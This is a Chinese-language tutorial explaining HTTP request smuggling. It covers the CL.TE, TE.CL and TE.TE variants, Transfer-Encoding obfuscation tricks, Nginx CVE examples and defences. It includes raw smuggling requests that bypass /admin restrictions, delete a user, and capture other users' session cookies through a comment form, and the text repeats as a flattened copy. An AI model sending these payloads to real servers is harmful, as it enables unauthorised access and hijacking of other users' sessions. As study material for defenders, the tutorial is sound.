关于HTTP Request Smuggling(HTTP请求夹带)的二三事
字数 2063 2025-08-26 22:11:34

HTTP请求走私(HTTP Request Smuggling)全面解析

1. HTTP协议版本概述

版本 显著特点 支持的请求方法 性能优化 泛用程度
HTTP/0.9 不支持请求头响应头,纯文本 GET 已过时 已过时
HTTP/1.0 支持请求头响应头,超文本 GET、HEAD、POST 短链接,无优化 仍有少量使用
HTTP/1.1 性能优化,增加请求方法 增加了OPTIONS,PUT,DELETE,TRACE,CONNECT Keep-Alive和chunked分块传输,请求流水线 目前使用最广泛
HTTP/2.0 增加了二进制分帧 无变化 二进制分帧层用于多路复用,Server Push 目前应用较少

2. HTTP/1.1关键特性

2.1 Keep-Alive机制

  • 默认开启的特性
  • 通过Connection: Keep-Alive头告知服务器不要关闭TCP连接
  • 优点:
    • 减少TCP握手次数
    • 降低服务器开销
    • 加快访问速度

2.2 Pipeline机制

  • 客户端可以像流水线一样连续发送HTTP请求而不等待响应
  • 服务器需遵循先入先出机制处理请求
  • 现代浏览器默认不启用,但多数服务器支持

3. 关键头部字段

3.1 Content-Length (CL)

  • 表示HTTP消息体的字节长度
  • 包含所有内容编码后的长度
  • 计算注意事项:
    • Windows换行:\r\n (2字节)
    • Linux/Mac换行:\n\r (1字节)
    • 建议使用文本编辑器精确计算字符数

3.2 Transfer-Encoding (TE)

  • 设计用于支持7-bit传输服务安全传输二进制数据
  • HTTP/1.1引入,HTTP/2取消
  • 主要传输编码:分块编码(chunked)
  • 分块编码格式:
    [chunk size][\r\n]
    [chunk data][\r\n]
    [chunk size][\r\n]
    [chunk data][\r\n]
    [chunk size = 0][\r\n][\r\n]
    
  • 示例分块传输:
    Transfer-Encoding: chunked
    
    b\r\n
    01234567890\r\n
    5\r\n
    12345\r\n
    0\r\n
    \r\n
    

4. HTTP请求走私原理

4.1 基本概念

  • 通过构造模糊的HTTP请求,使前端(代理)和后端服务器对请求边界解析不一致
  • 导致部分请求被解释为下一个请求的开始
  • 攻击效果:
    • 绕过安全控制
    • 未授权访问敏感数据
    • 干扰其他用户请求

4.2 漏洞产生原因

  • 前端代理服务器和后端Web服务器对同一请求理解不一致
  • 主要涉及CL和TE头部的解析差异
  • RFC规范:
    • 同时存在CL和TE时,应忽略CL
    • 但实际实现可能存在差异

5. HTTP请求走私攻击类型

5.1 CL!=0攻击

  • 场景:前端允许GET带请求体,后端不允许
  • 示例:
    GET / HTTP/1.1\r\n
    Host: example.com\r\n
    Content-Length: 43\r\n
    GET /admin HTTP/1.1\r\n
    Host: example.com\r\n
    \r\n
    
  • 后端会将其解析为两个请求

5.2 CL.CL攻击

  • 场景:前后端都使用CL,但对多个CL头处理不一致
  • 示例:
    POST / HTTP/1.1\r\n
    Host: example.com\r\n
    Content-Length: 8\r\n
    Content-Length: 7\r\n
    12345\r\n
    a
    
  • 前端按第一个CL(8)处理,后端按第二个CL(7)处理

5.3 CL.TE攻击

  • 场景:前端用CL,后端用TE
  • 示例:
    POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 13
    Transfer-Encoding: chunked
    
    0
    
    SMUGGLED
    
  • 前端处理13字节,后端遇到0分块结束

5.4 TE.CL攻击

  • 场景:前端用TE,后端用CL
  • 示例:
    POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 4
    Transfer-Encoding: chunked
    
    12
    smuggle-data
    0
    
  • 前端处理到0分块,后端只读取4字节

5.5 TE.TE攻击

  • 场景:前后端都处理TE,但通过混淆诱导其中一方不处理
  • TE头混淆技术:
    1. Transfer-Encoding: xchunked
    2. Transfer-Encoding : chunked (多余空格)
    3. Transfer-Encoding: chunked
    4. Transfer-Encoding: x
    5. Transfer-Encoding:[tab]chunked
    6. [space]Transfer-Encoding: chunked
    7. X: X[\n]Transfer-Encoding: chunked
    8. Transfer-Encoding : chunked

6. 实际攻击案例

6.1 绕过前端安全控制(CL.TE)

  1. 构造走私请求访问被阻止的/admin路径:
    POST / HTTP/1.1
    Host: target.com
    Content-Length: 30
    Transfer-Encoding: chunked
    
    0
    
    GET /admin HTTP/1.1
    
  2. 添加Host头绕过本地限制:
    POST / HTTP/1.1
    Host: target.com
    Content-Length: 70
    Transfer-Encoding: chunked
    
    0
    
    GET /admin/delete?username=carlos HTTP/1.1
    Host: localhost
    

6.2 揭示前端请求重写

  1. 找到能回显参数值的POST请求(如搜索功能)
  2. 将参数放在消息最后:
    POST / HTTP/1.1
    Content-Length: 99
    Content-Type: application/x-www-form-urlencoded
    
    search=123
    
  3. 前端添加的隐藏头会显示在回显中

6.3 捕获其他用户请求

  1. 构造走私请求到评论功能:
    POST / HTTP/1.1
    Transfer-Encoding: chunked
    
    0
    
    POST /post/comment HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 600
    
    Cookie: session=受害用户cookie...
    
  2. 等待其他用户访问,其请求会被捕获在评论中

7. 相关CVE漏洞

7.1 CVE-2019-20372 (Nginx)

  • 影响版本:1.17.7之前
  • 涉及error_page配置导致的请求走私
  • 示例:
    GET /a HTTP/1.1\r\n
    Host: localhost\r\n
    Content-Length: 56\r\n
    \r\n
    GET /_hidden/index.html HTTP/1.1\r\n
    Host: notlocalhost\r\n
    \r\n
    

7.2 CVE-2020-12440 (Nginx)

  • 影响版本:1.18.0及之前
  • 可导致缓存投毒、凭证劫持
  • 示例:
    GET /test.html HTTP/1.1
    Host: www.target.com
    Content-Length: 2
    
    GET /poc.html HTTP/1.1
    Host: www.target.com
    Content-Length: 15
    

8. 防御措施

  1. 禁用代理服务器与后端服务器之间的连接重用
  2. 对前端服务器和后端服务器使用相同的HTTP协议版本
  3. 严格验证HTTP请求头,拒绝模糊请求
  4. 确保服务器正确处理CL和TE头部的优先级
  5. 定期更新服务器软件,修复已知漏洞

通过深入理解HTTP协议规范和服务器实现差异,可以有效防范HTTP请求走私攻击。

HTTP请求走私(HTTP Request Smuggling)全面解析 1. HTTP协议版本概述 | 版本 | 显著特点 | 支持的请求方法 | 性能优化 | 泛用程度 | |------|----------|----------------|----------|----------| | HTTP/0.9 | 不支持请求头响应头,纯文本 | GET | 已过时 | 已过时 | | HTTP/1.0 | 支持请求头响应头,超文本 | GET、HEAD、POST | 短链接,无优化 | 仍有少量使用 | | HTTP/1.1 | 性能优化,增加请求方法 | 增加了OPTIONS,PUT,DELETE,TRACE,CONNECT | Keep-Alive和chunked分块传输,请求流水线 | 目前使用最广泛 | | HTTP/2.0 | 增加了二进制分帧 | 无变化 | 二进制分帧层用于多路复用,Server Push | 目前应用较少 | 2. HTTP/1.1关键特性 2.1 Keep-Alive机制 默认开启的特性 通过 Connection: Keep-Alive 头告知服务器不要关闭TCP连接 优点: 减少TCP握手次数 降低服务器开销 加快访问速度 2.2 Pipeline机制 客户端可以像流水线一样连续发送HTTP请求而不等待响应 服务器需遵循先入先出机制处理请求 现代浏览器默认不启用,但多数服务器支持 3. 关键头部字段 3.1 Content-Length (CL) 表示HTTP消息体的字节长度 包含所有内容编码后的长度 计算注意事项: Windows换行: \r\n (2字节) Linux/Mac换行: \n 或 \r (1字节) 建议使用文本编辑器精确计算字符数 3.2 Transfer-Encoding (TE) 设计用于支持7-bit传输服务安全传输二进制数据 HTTP/1.1引入,HTTP/2取消 主要传输编码:分块编码(chunked) 分块编码格式: 示例分块传输: 4. HTTP请求走私原理 4.1 基本概念 通过构造模糊的HTTP请求,使前端(代理)和后端服务器对请求边界解析不一致 导致部分请求被解释为下一个请求的开始 攻击效果: 绕过安全控制 未授权访问敏感数据 干扰其他用户请求 4.2 漏洞产生原因 前端代理服务器和后端Web服务器对同一请求理解不一致 主要涉及CL和TE头部的解析差异 RFC规范: 同时存在CL和TE时,应忽略CL 但实际实现可能存在差异 5. HTTP请求走私攻击类型 5.1 CL !=0攻击 场景:前端允许GET带请求体,后端不允许 示例: 后端会将其解析为两个请求 5.2 CL.CL攻击 场景:前后端都使用CL,但对多个CL头处理不一致 示例: 前端按第一个CL(8)处理,后端按第二个CL(7)处理 5.3 CL.TE攻击 场景:前端用CL,后端用TE 示例: 前端处理13字节,后端遇到0分块结束 5.4 TE.CL攻击 场景:前端用TE,后端用CL 示例: 前端处理到0分块,后端只读取4字节 5.5 TE.TE攻击 场景:前后端都处理TE,但通过混淆诱导其中一方不处理 TE头混淆技术: Transfer-Encoding: xchunked Transfer-Encoding : chunked (多余空格) Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding:[tab]chunked [space]Transfer-Encoding: chunked X: X[\n]Transfer-Encoding: chunked Transfer-Encoding : chunked 6. 实际攻击案例 6.1 绕过前端安全控制(CL.TE) 构造走私请求访问被阻止的/admin路径: 添加Host头绕过本地限制: 6.2 揭示前端请求重写 找到能回显参数值的POST请求(如搜索功能) 将参数放在消息最后: 前端添加的隐藏头会显示在回显中 6.3 捕获其他用户请求 构造走私请求到评论功能: 等待其他用户访问,其请求会被捕获在评论中 7. 相关CVE漏洞 7.1 CVE-2019-20372 (Nginx) 影响版本:1.17.7之前 涉及error_ page配置导致的请求走私 示例: 7.2 CVE-2020-12440 (Nginx) 影响版本:1.18.0及之前 可导致缓存投毒、凭证劫持 示例: 8. 防御措施 禁用代理服务器与后端服务器之间的连接重用 对前端服务器和后端服务器使用相同的HTTP协议版本 严格验证HTTP请求头,拒绝模糊请求 确保服务器正确处理CL和TE头部的优先级 定期更新服务器软件,修复已知漏洞 通过深入理解HTTP协议规范和服务器实现差异,可以有效防范HTTP请求走私攻击。